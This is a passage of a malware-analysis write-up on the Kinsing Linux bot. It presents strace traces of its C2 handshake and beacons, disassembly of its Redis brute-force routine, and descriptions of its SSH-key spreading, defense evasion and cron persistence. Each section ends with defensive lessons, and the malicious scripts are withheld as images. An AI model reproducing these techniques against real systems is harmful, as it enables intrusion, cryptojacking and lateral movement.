execve("/usr/bin/dpkg-query",
open("/var/lib/dpkg/arch
open("/var/lib/dpkg/status"
/etc/oracle-release
/etc/enterprise-release",
/etc/slackware-version",
/etc/debian_version
"/usr/bin/raspi-config
/etc/debian_version
/var/lib/dpkg/updates/"
/var/lib/dpkg/triggers/File"
read(3, "/usr/share/info install-info\n/usr/man man-db\n/usr/share/man man-db\n
         /usr/local/man man-db\n/usr/local/share/man man-db\n/usr/X11R6/man.....
/var/lib/dpkg/triggers/Unincorp"
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Profiling the OS, package manager and Python install tells the bot how to install things later (yum or apt). Bursts of reads of /etc/*-release and dpkg files from an unknown process are suspicious.

■ 11.2 First contact to the C2: the "up" handshake and getting tasks

▸ Initial connect C2 like this:
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP)
setsockopt(6, SOL_SOCKET, SO_BROADCAST, [1], 4)
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("45[.]10.88[.]102")}, 16 <unfinished ...>
getsockopt(6, SOL_SOCKET, SO_ERROR,  <unfinished ...>
close(6)
[ITW] Artifact spotted in the wild attack
▸ (reconnect to other IP after failed w same method
▸ IF success C2 connect, it receives "up" sign
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91[.]215.169[.]111")}, 16 <unfinished ...>
getpeername(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91[.]215.169[.]111")}, [16]) = 0
write(6, "GET /h HTTP/1.1\r\nHost: 91[.]215.169[.]111\r\n
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
         AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
         Arch: amd64\r\n
         Cores: 1\r\n
         Mem: 244\r\n
         Os: linux\r\n
         Osname: debian\r\n
         Osversion: 7.11\r\n
         Root: false\r\n
         Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\n
         Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");

read(6, "HTTP/1.1 200 OK\r\n
         Server: nginx/1.10.3\r\n
         Date: Thu, 13 Feb 2020 09:35:38 GMT\r\n
         Content-Type: text/plain; charset=utf-8\r\n
         Content-Length: 2\r\n
         Connection: keep-alive\r\n\r\n
         c\23", 4096)
[ITW] Artifact spotted in the wild attack
▸ So the "h" command is replied by "c." for initial infection callback comm. decoded as "up", then it runs next related functions
write(6, "GET /get HTTP/1.1\r\nHost: 91[.]215.169[.]111\r\n
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
         AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
         Arch: amd64\r\n
         Cores: 1\r\n
         Mem: 244\r\n
         Os: linux\r\n
         Osname: debian\r\n
         Osversion: 7.11\r\n
         Root: false\r\n
         Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\n
         Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");

read(6, "HTTP/1.1 200 OK\r\n
         Server: nginx/1.10.3\r\n
         Date: Thu, 13 Feb 2020 09:35:49 GMT\r\n
         Content-Type: text/plain; charset=utf-8\r\n
         Content-Length: 140\r\n
         Connection: keep-alive\r\n\r\n
         WzhP\313\f\337v\374\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\30N\205x\332\233\225%\21\376?\207\256\23\254\355
         \276\262\254sz\7\241!\24\343\256:\202\310\230\237\202\347\300P\7\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\33\304
         \17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\214[\5\201\354\342\3104\35", 4096) = 304
[ITW] Artifact spotted in the wild attack
▸ unescape as encrypted:
         WzhP313f337v37422216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?20725623254355
         276262254sz7241!24343256:202310230237202347300P7364221P374344;k236K2138&365235321ct204240317`Ca+S:22533304
         17Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35276224214[5201354342310435
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • strace shows the exact bytes the bot writes to and reads from the socket, which is much clearer than a pcap when the protocol is custom.
  • Failover behavior (trying the next C2 after a failed connect) explains why you see SYNs to several IPs from one infected host.

■ 11.3 The embedded SSH spreader script

▸ Receiving this response , the bot drops the random file with regex [A-za-z]{5} in below path:
openat: dropping the random-named script (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ the random file is the script embedded in the bot binary encoded by base64 and compressed with zlib, contents of shell script:

The script collects private keys, users, hosts and SSH ports from ~/.ssh/config, known_hosts, /etc/hosts, bash histories and running processes. It then tries every combination to push the installer to other machines. This is worm-like lateral movement that abuses keys the victim already trusts.

embedded spreader script (dropped to /tmp/.ICEd-unix/) (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
(forensics in action)
memory dump: spreader script in bot memory (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • This is the worm stage. No exploit is needed: the bot reuses SSH keys and hosts that the admin already trusts. One infected box can reach every server its keys open.
  • Defense: no passphrase-less private keys on servers, restrict authorized_keys by source (from=), and watch for bursts of outgoing non-interactive SSH connections that skip host-key verification.
  • Note the throttling (sleep after every 20 tries) and the cleanup of hanging ssh processes. The author cared about not being noticed.

■ 11.4 Execution of the dropped script and the spr.sh updater / bot-killer

analyst note: how the dropped script is executed (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
execve: running the dropped script (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ And that dropped script downloads spr.sh, noted :without "e" the spr.sh drom downloaded srcipt is updater, has uninstaller , bot killer and this downloaded script , it has a looong contents:

Highlights of spr.sh: it removes syslog, disables the firewall, SELinux and AppArmor, uninstalls Alibaba and Tencent cloud security agents, then kills a very long list of competing miners, botnets and Docker images. It re-downloads kinsing (with an MD5 check and three fallback URLs) and installs cron persistence. The image is scrollable; the key lines are highlighted.

spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 1/8 spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 2/8 spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 3/8 spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 4/8 spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 5/8 spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 6/8 spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 7/8 spr.sh (downloaded updater / bot-killer) malicious code shown as image for safety - part 8/8
[!] Malicious script shown as an image on purpose. One code line = one image line; scroll sideways inside the box for long lines.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Defense evasion first: logs deleted, firewall flushed, SELinux and AppArmor disabled, and cloud security agents removed before the payload runs. If your monitoring agent dies suddenly, treat that as an alert by itself.
  • Competition: the huge kill list shows that Linux servers are a battlefield where miners kill each other. The names and IPs in it are a free list of other threats to hunt for.
  • Resilience: MD5 self-check, three download sources (including a public code-hosting site) and a cron job every minute. Cleaning only the binary is useless if the cron entry stays.

■ 11.5 Cron persistence installer

▸ Then, this bot will send GET command to get more script, this time for cron installer:
strace: GET /cron.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
cron.sh (cron persistence installer, as written by the bot) (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ this cron install script is executed in memory with
newfstatat: locating sh to run cron.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ and will install cron using temporary storage at: (for forensics purpose)
open("crontabs/tmp.4J0udL",
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Persistence via an every-minute cron entry that downloads a script and pipes it to a shell is the most common Linux malware persistence. During incident response, review the crontab of every user and the system cron spool directory.
  • The cron-cleaning lines delete competitors' cron entries. Rival campaigns can be identified from these patterns too.

■ 11.6 Logging to /dev/log and the success callback to C2

▸ bot writes log file in a very crazy path: /dev/log informing latest activity
socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0)
connect(3, {sa_family=AF_FILE, path="/dev/log"}, 110
sendto(3, "<78>Feb 13 09:24:08 crontab[7858]: (USERNAME) LIST (USERNAME)",
[ITW] Artifact spotted in the wild attack
▸ it also informs C2 on successfully message too afterwards
7843  write(6, "POST /s HTTP/1.1\r\n
                Host: 91[.]215.169[.]111\r\n
                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
                Content-Length: 50\r\n
                Arch: amd64\r\n
                Content-Type: application/octet-stream\r\n
                Cores: 1\r\n
                Mem: 244\r\n
                Os: linux\r\n
                Osname: debian\r\n
                Osversion: 7.11\r\n
                Root: false\r\n
                Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\nVersion: 28\r\n
                Accept-Encoding: gzip\r\n
         \r\n
         WztG\214D\310|\355R\317\3372\7\2279\336)]\3030\263\246\263\361\263\230m\330n\246\5l\232
         V\332\233\225%\f\343,\327\361S\356\372\260\273\340",

         451 )
[ITW] Artifact spotted in the wild attack
▸ unescape:
WztG214D310|355R317337272279336)]3030263246263361263230m330n2465l232V3
32233225%f343,327361S356372260273340
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The crontab change leaves a syslog entry (crontab[pid]: (USER) LIST), which is a forensic artifact even after the attacker cleans up.
  • POST /s is the "I am infected and set up" report. Seeing it in proxy logs means the infection completed.

■ 11.7 The embedded miner: a tweaked XMRig

▸ the other dropped file is the initial ELF miner, it uses the "/tmp" dir as path this happens after bot confirmed no miner is running
openat/write: dropping the miner ELF (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ and then executed the miner
execve: running the miner (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ the miner binary was also actually embedded in kinsing bot as "mybot": below is PoC for embedded miner package, named as "My/Bot", the coder uses username "nook" and he is using Go lang ver 1.13

The miner is packed into the bot with pkger. The data below is the pkger index followed by the base64 of the ELF (rendered as an image, since it is the payload itself). It also leaks the coder's build path /home/nook/go/src/my/bot and the build timestamp (2019-12-29).

pkger index + base64 of embedded miner ELF (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ The size is about
> ? 0xc0006ae001 - 0xc000a7f915 = 4004116 0x3d1914 017214424 3.8M
[ITW] Artifact spotted in the wild attack
▸ if decoded will show the miner ELF:
decoded embedded miner ELF (raw view) (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ It is a tweaked XMRig
[0x00732868 [xAdvc]0 0% 180 eeeeelf]> pd $r @ str.XMRig_5.5.0___built_on_Dec_29_2019_with_GCC
            ;-- "XMRig 5.5.0\n built on Dec 29 2019 with GCC":
            ;-- hit0_1:
            0x00732868     .string "XMRig 5.5.0\n built on Dec 29 2019 with GCC" ; len=43
            0x00732893      0000           add byte [rax], al
            0x00732895      0000           add byte [rax], al
            0x00732897  ~   006661         add byte [rsi + 0x61], ah
            ;-- "failed to export hwloc topology.\n":
            0x00732898     .string "failed to export hwloc topology.\n" ; len=34
    |||||   0x007328ba      0000           add byte [rax], al
    |||||   0x007328bc      0000           add byte [rax], al
    |||||   0x007328be      0000           add byte [rax], al
    |||||   ;-- "hwloc topology successfully exported to "%s"\n":
    |||||   0x007328c0     .string "hwloc topology successfully exported to \"%s\"\n" ; len=46
     ||||   0x007328ee      0000           add byte [rax], al
     ||||   ;-- "Unexpected end of regex when escaping.":
     ||||   0x007328f0     .string "Unexpected end of regex when escaping." ; len=39
     |||    0x00732917  ~   00556e         add byte [rbp + 0x6e], dl
|||    ;-- "Unexpected end of regex when reading control code.":
     |||    0x00732918     .string "Unexpected end of regex when reading control code." ; len=51
            0x0073294b      00             invalid
            0x0073294c      0000           add byte [rax], al
            0x0073294e      0000           add byte [rax], al
            ;-- "Unexpected end of regex when ascii character.":
            0x00732950     .string "Unexpected end of regex when ascii character." ; len=46
            ;-- "XMRIG_VERSION":
            0x0073297e     .string "XMRIG_VERSION" ; len=14
            ;-- "XMRIG_EXE_DIR":
            0x0073298c     .string "XMRIG_EXE_DIR" ; len=14
            ;-- "XMRIG_CWD":
            0x0073299a     .string "XMRIG_CWD" ; len=10
[ITW] Artifact spotted in the wild attack
▸ miner sample hash:
MD5 5b439ea84bc00eb74217461d1c64342d
SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Embedded payloads leave fingerprints: the build path reveals the author handle ("nook"), and the build date matches the XMRig build string (Dec 29 2019). Cross-checking two independent timestamps is good practice.
  • The base64 form of an ELF header (bytes 7f 45 4c 46) is worth learning to spot. Learn to recognize it, because it spots hidden ELF files inside scripts and binaries.

■ 11.8 al.sh: uninstalling cloud security agents (Aliyun aegis / quartz, qcloud YunJing)

▸ Other bot sent traffic: fetching for "al.sh" the uninstaller cloud services like qcloud, quartz etc
(in linux command)
strace: GET /al.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
(in forensics confirmation)
memory dump: GET /al.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
(in linux command)
al.sh reply (security agent uninstaller), strace view (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
(in forensics confirmation)
al.sh reply, memory forensics view (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ saving it and....
al.sh being saved (write) (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ ...and executed it with sh
newfstatat: locating sh to run al.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Seeing the same script in strace and in memory is double confirmation. When two independent sources agree, your finding is solid.
  • Targeting Alibaba (aegis) and Tencent (YunJing) agents shows who the intended victims were: servers in Chinese cloud environments.

■ 11.9 "o": sending execution output to C2

▸ send command "o" to the C2 for sending data only, it is result of "execoutput" bot command in example (below it regularly sending traffic.
write(6, "POST /o HTTP/1.1\r\n
Host: 91[.]215.169[.]111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 20\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\nMem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n\r\n
WzhP\313\f\337v\373\22\216\3276\24\263J\241)S\234", 421

read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:37:25 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337w\371\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\3
0N\205x\332\233\225%\21\376?\207\256\23\254\355\276\272\256{\177\1\241!\24\343\256:\202\310
\230\234\207\340\300V\3\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\3
3\304\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\
234Y\30\212\354\342\3104\35", 4096) = 304
[ITW] Artifact spotted in the wild attack
▸ unescaped as encrypted comm:
nWzhP313f337w37122216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?
20725623254355276272256{1771241!24343256:202310230234207340300V3364221P374344;k236K2138&365
235321ct204240317`Ca+S:2253330417Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35
276224234Y30212354342310435
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Regular small POSTs to the same host at a fixed interval are beaconing. Even without decrypting anything, timing analysis can reveal C2.

■ 11.10 "spre.sh": fetching the latest installer

▸ send comand "spre.sh" to C2 to fetch latest version installer
decrypted C2 task: download_and_exec (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
strace: GET /spre.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
spre.sh reply (latest spreader), strace view (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ fetch file is saved also as same workdir path with different random name:
openat: saving fetched spre.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
▸ and execute it in :
execve: running fetched spre.sh (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The decrypted task download_and_exec shows the C2 command format (Id, Type, Data). This is what the embedded RSA key gives you.
  • Each fetched script gets a new random name in the same work directory. Hunt by directory, not by file name.

《 13. The massscan() embedded script 》

// The massscan() script (embedded//

The masscan() function does not scan by itself. It runs an embedded shell script that installs libpcap, fetches the scanner (saved as firewire and verified by MD5) and runs it with the parameters pushed by the C2.

▸ massscan() function is execution of this script the function needs 5 (five arguments) sent by C2 arguments by sequence are: port number, speed scan, input file path. scan result file path and the URL to download the massscan tool, which is the ss binary, a known SSH scanner tool that hackers used to use.
embedded massscan() wrapper script (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The bot outsources scanning to a well-known fast scanner and only passes the parameters (port, rate, input, output, download URL). Malware authors reuse tools just like we do.
  • Unexpected package installs (libpcap-dev) on a production server, plus heavy outbound SYN traffic, are a strong scanning signal.

《 14. Redis servers AUTH attacker 》

// REDIS servers AUTH Attacker //

redisBrute() dials the target over TCP, sends AUTH <candidate> and checks the reply. If the reply contains OK, the hit is reported back to the C2 through addResult().

▸ the binary has function to brute AUTH attack of the redis servers It needs 4 arguements and target will be in the argument from data commanded by C2 it is used the below flow, see redis CLI for ref: hxxps://redis.io/topics/rediscli
sym.go.main.redisBrute() (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h)

0x007a1a9d int64_t arg1
0x007a1aab call fcn.0045abb1 fcn.0045abb1
0x007a1aeb "tcp"
0x007a1b1a call sym.go.net.__Dialer_.DialContext
0x007a1b6f call sym.go.runtime.deferprocStack
0x007a1b95 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t"
0x007a1bbc call sym.go.strings.genSplit
0x007a1c1f "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptErrorFo.."
0x007a1c3e "\n\r\t"
0x007a1c53 call sym.go.runtime.concatstring3
0x007a1c74 call sym.go.runtime.stringtoslicebyte
0x007a1cae call sym.go.time.Now
0x007a1cc2 call sym.go.time.Time.Add
0x007a1d2c call sym.go.runtime.makeslice
0x007a1db1 call sym.go.runtime.slicebytetostring
0x007a1dd6 "Client sent AUTH, but no password is setFailed to initialized s"
0x007a1deb call sym.go.strings.Index
0x007a1e12 "OK"  // greo if the response brute success
0x007a1e27 call sym.go.strings.Index
0x007a1e4e call sym.go.runtime.deferreturn
0x007a1e98 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t"
0x007a1ec4 call sym.go.runtime.concatstring3
0x007a1ee9 call sym.go.main.addResult
0x007a1eef call sym.go.runtime.deferreturn
0x007a1f05 call sym.go.runtime.deferreturn
0x007a1f1b call sym.go.runtime.deferreturn
0x007a1f48 call sym.go.runtime.newobject
0x007a1f87 // will response this error if not success
0x007a1f87 "SetReadDeadline failed:Split called after ScanTask %d, executed in %sTrinit\u00e9-et-Tobago (la)Unsupported command: %vVariant Also"
0x007a1f9c call sym.go.runtime.newobject
0x007a1fff call sym.go.github.com_op_go_logging.__Logger_.log
0x007a2005 call sym.go.runtime.deferreturn
0x007a2029 call sym.go.runtime.gcWriteBarrier
0x007a2034 call sym.go.runtime.deferreturn
0x007a204a call sym.go.runtime.deferreturn
0x007a2064 call sym.go.runtime.panicSliceAcap
0x007a206a call sym.go.runtime.morestack_noctxt
0x007a206f sym.go.main.redisBrute1
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Go strings are not NULL-terminated, so radare2 shows a long run of glued strings ("AUTH AcircAdlam..."). Only the first bytes (length 5: AUTH ) are used. Read the length argument, not the whole string.
▸ below is explaining part of code how to AUTH was sent - to hack the credential of REDIS service.
radare2 graph view — sym.go.main.redisBrute1
[0x007a1a60]> 0x7a1bef # sym.go.main.redisBrute1 (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h);
                                                                                                        __1a60__[oa]
[ 0x7a1bef ]                                                                                                 f  t
; CODE XREF from sym.go.main.redisBrute1 @ 0x7a1bdb                                                          │ │
mov qword [var_78h], rax                                                                                     │ └─..
mov qword [var_140h], rdx                                                                                ┌─┘
mov rcx, qword [rax + 8]                                                                            __1a7b__[od]
mov qword [var_160h], rcx                                                                                f  t
mov rbx, qword [rax]                                                                                     │ │
mov qword [var_a0h], rbx                                                                                 │ └────┐
lea rsi, [var_118h]                                                                           ┌───────────┘
mov qword [rsp], rsi                                                                          │         │
; "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptError
lea rsi, [0x0087f436]                                                                        f  t        │
mov qword [var_1c0h], rsi                                                                    │ │       │
mov qword [var_1b8h], 5                                                                      │ └─────┐
mov qword [var_1b0h], rbx                                                   ┌───────────────┘
mov qword [var_1a8h], rcx                                                   │                           │
; "\n\r\t"                                                            __1b7c__[oh]                 __2033__[oAm]
lea rdi, [0x0087dfe0]                                                      f  t                          :
mov qword [var_1a0h], rdi                                                  │ │
mov qword [var_198h], 1                                                    │ └─────┐
call sym.go.runtime.concatstring3;[ok]                    ┌───────────────┘
mov rax, qword [var_188h]                                 │               │
mov rcx, qword [var_190h                              __1bd4__[o           │
mov qword [rsp], 0                                        │               │
mov qword [var_1c0h], rcx                                 │               │
mov qword [var_1b8h], rax                                 │               │
call sym.go.runtime.stringtoslicebyte;[ol]       (THE ATTACK FOR AUTH)  <<============== HERE!!
mov rax, qword [var_150h]                                 f t                │
mov rcx, qword [rax + 0x50]                              │ │               │
mov rdx, qword [var_1a8h]                                │ └─────────┐
mov rbx, qword [var_1b0h]                   ┌─────────────────┘
mov rsi, qword [var_1a0h]                   │           :                   │
mov rdi, qword [var_90h]               __1d0f__[oq]                     __1f30__[oAe]
mov qword [rsp], rdi                        :                                :
mov qword [var_1c0h], rbx
mov qword [var_1b8h], rdx
:
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • concatstring3("AUTH ", password, "\n") builds the brute-force line. Following arguments into runtime calls like this is the key Go reversing skill.
  • Defense: never expose Redis to the internet, bind it to localhost or a private network, and use a strong requirepass or ACLs.

《 15. What forensics alone cannot dissect 》

// Only forensics cant dissect this//

A plain signature scan on the binary is full of false positives (marked fp). This shows why static carving alone cannot dissect a Go-packed bot: you need to reverse the loader (pkger) logic and decode the embedded payloads yourself, as done above.

- open input file:    kinsing
- zip data to check:  32 bytes
- zip windowBits:     15
- seek offset:        0x00000000  (0)

DECIMAL       HEXADECIMAL     DESCRIPTION (many fp)
--------------------------------------------------------------------------------
0             0x0             ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
4256240       0x40F1F0        Certificate in DER format (x509 v3), header length: 4, sequence length: 13568
4684208       0x4779B0        Certificate in DER format (x509 v3), header length: 4, sequence length: 2560
4809179       0x4961DB        Base64 standard index table
4820858       0x498F7A        Executable script, shebang: "/bin/sh"
4823632       0x499A50        StuffIt Deluxe Segment (data): ftHSY0rMGI9CLrl2ZvDLiahto=
4848165       0x49FA25        eCos RTOS string reference: "ecosidnshome-webserverdalucernecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouder"
4848195       0x49FA43        eCos RTOS string reference: "ecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouderacouponsarluroycq-acranbrookuw"
14148142      0xD7E22E        VxWorks symbol table, big endian, first entry: [type: initialized data, code address: 0x800, symbol address: 0x100]
14259776      0xD99640        SHA256 hash constants, little endian
14259792      0xD99650        SHA256 hash constants, little endian
14663130      0xDFBDDA        Cisco IOS microcode, for ""
16732624      0xFF51D0        GIF image data, version "87a", 18759
16732632      0xFF51D8        GIF image data, version "89a",
16765673      0xFFD2E9        Boot section Start 0x42424242 End 0x42424242
16765677      0xFFD2ED        Boot section Start 0x42424242 End 0x0
16765681      0xFFD2F1        Boot section Start 0x0 End 0x0
16765685      0xFFD2F5        Boot section Start 0x0 End 0x0

+------------+-----+----------------------------+----------------------+
| hex_offset | ... | zip -> unzip size / offset | spaces before | info |
+------------+-----+----------------------------+----------------------+

  0x00298945   9206 -> 9192  / 0x0029ad3b _ 2722117 8:4:9:0:1:7affffff // fp
  0x00d5dc58  65292 -> 65280 / 0x00d6db64 _ 11284253 8:7:1:0:1:19040000 // fp
  0x00d78eb8  65292 -> 65280 / 0x00d88dc4 _ 45908 8:7:1:0:1:00308100 // fp
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Automated carving tools are good starting points, but do not trust every hit. "Cisco IOS microcode" inside a Linux bot is clearly a false positive. Validate each result.

《 16. Open-source Go libraries used by kinsing 》

// Kinsing bot used these open // // source Go dev libraries //

These open-source Go libraries were identified from the symbols and strings in .rodata / .gopclntab. Knowing them saves a lot of reversing time, because you can skip the library code and focus on main.*.

gopsutil is a Go compiled psutil (tool) like, (process and system utilities) is a cross-platform
library for retrieving information on running processes and system utilization (CPU, memory, disks,
network, sensors) in Python. It is useful mainly for system monitoring, profiling and limiting process
resources and management of running processes. It implements many functionalities offered by classic
UNIX command line tools such as ps, top, iotop, lsof, netstat, ifconfig, free and others. currently
supports the following platforms:
FreeBSD i386/amd64/arm
Linux i386/amd64/arm(raspberry pi)
Windows/amd64
Darwin i386/amd64
OpenBSD amd64 (Thank you @mpfz0r!)
Solaris amd64 (developed and tested on SmartOS/Illumos, Thank you @jen20!)
2. Go "diskv" libs github.com/peterbourgon/diskv
Diskv (disk-vee) is a simple, persistent key-value store written in the Go language. It starts with an
incredibly simple API for storing arbitrary data on a filesystem by key, and builds several layers of
performance-enhancing abstraction on top. The end result is a conceptually simple, but highly performant,
disk-backed storage system.
3. has go "yamux" libs, .rodata:00000000007C4953 0000001B C github.com/hashicorp/yamux
Yamux (Yet another Multiplexer) is a multiplexing library for Golang. It relies on an underlying connection to
provide reliability and ordering, such as TCP or Unix domain sockets, and provides stream-oriented multiplexing.
It is inspired by SPDY but is not interoperable with it.
4. has "pkger" , .rodata:00000000007C4973 0000001B C github.com/markbates/pkger
pkger is a tool for embedding static files into Go binaries. It will, hopefully, be a replacement for github.com/gobuffalo/packr/v2.
Requirements
Go 1.13+
Go Modules
5. has go "resty" libs, https://github.com/go-resty/resty
Resty is Simple HTTP and REST client library for Go
6. go "validator" libs, .rodata:00000000007C84E2 00000023 C !github.com/asaskevich/govalidator
A package of validators and sanitizers for strings, structs and collections. Based on validator.js.
7. has "envconfig" go libs, .rodata:00000000007C9B42 00000025 C $github.com/kelseyhightower/envconfig
Package envconfig implements decoding of environment variables based on a user defined specification.
A typical use is using environment variables for configuration settings.
8. has "ratecounter" libs in go, .gopclntab:000000000122DFD0 00000033 C github.com/paulbellamy/ratecounter
Package ratecounter provides a thread-safe rate-counter, for tracking counts in an interval
Useful for implementing counters and stats of 'requests-per-second'
9. has "amon/go-sock5", .gopclntab:00000000013703A0 00000037 C github.com/armon/go-socks5
socks libs
10 has "go-logging" libs. .gopclntab:00000000013A5B9C 00000028 C github.com/op/go-logging.AddModuleLevel
is a package logging implements a logging infrastructure for Go. Its output format is customizable
and supports different logging backends like syslog, file and memory. Multiple backends can be utilized
